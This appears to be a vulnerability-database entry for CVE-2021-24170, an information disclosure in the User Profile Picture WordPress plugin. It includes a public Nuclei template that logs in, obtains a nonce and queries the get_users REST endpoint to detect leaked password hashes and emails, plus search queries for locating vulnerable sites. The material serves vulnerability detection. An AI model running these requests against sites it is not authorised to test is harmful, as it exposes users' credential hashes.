CVE-2021-24170: User Profile Picture < 2.5.0 - Sensitive Information Disclosure

日期: 2025-08-01 | 影响软件: User Profile Picture | POC: 已公开

漏洞描述

The REST API endpoint get_users in the User Profile Picture WordPress plugin before 2.5.0 returned more information than was required for its functionality to users with the upload_files capability. This included password hashes, hashed user activation keys, usernames, emails, and other less sensitive information.

PoC代码[已公开]

id: CVE-2021-24170

info:
  name: User Profile Picture < 2.5.0 - Sensitive Information Disclosure
  author: s4e-io
  severity: high
  description: |
    The REST API endpoint get_users in the User Profile Picture WordPress plugin before 2.5.0 returned more information than was required for its functionality to users with the upload_files capability. This included password hashes, hashed user activation keys, usernames, emails, and other less sensitive information.
  reference:
    - https://www.wordfence.com/blog/2021/03/medium-severity-vulnerability-patched-in-user-profile-picture-plugin/
    - https://wpscan.com/vulnerability/29fc5b0e-0a5f-4484-a1e6-a0a1206726cc/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24170
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24170
    cwe-id: CWE-200
    epss-score: 0.25873
    epss-percentile: 0.96083
    cpe: cpe:2.3:a:cozmoslabs:user_profile_picture:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: cozmoslabs
    product: user_profile_picture
    framework: wordpress
    fofa-query: body="/wp-content/plugins/metronet-profile-picture"
    publicwww-query: "/wp-content/plugins/metronet-profile-picture"
  tags: cve,cve2021,wp,wp-plugin,wpscan,wordpress,info-leak,authenticated,metronet-profile-picture

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'len(body)==0'
          - 'status_code == 302'
          - 'contains_all(header, "wordpress_logged_in_")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    extractors:
      - type: regex
        name: nonce
        part: body
        regex:
          - '[a-z0-9]{10}'
        internal: true

  - raw:
      - |
        POST /index.php?rest_route=/mpp/v2/get_users HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-WP-Nonce: {{nonce}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "ID", "user_login", "user_pass")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a004830460221009f006fbd7c4b001ceb35cc6497174714e8481df4e71f5fd2d3483b03030427b9022100fdd836cd3dfa73ae15e7835a8aea53e8fa24d2d37becbc1dd02f2e651e42c2de:922c64590222798bb761d5b6d8e72950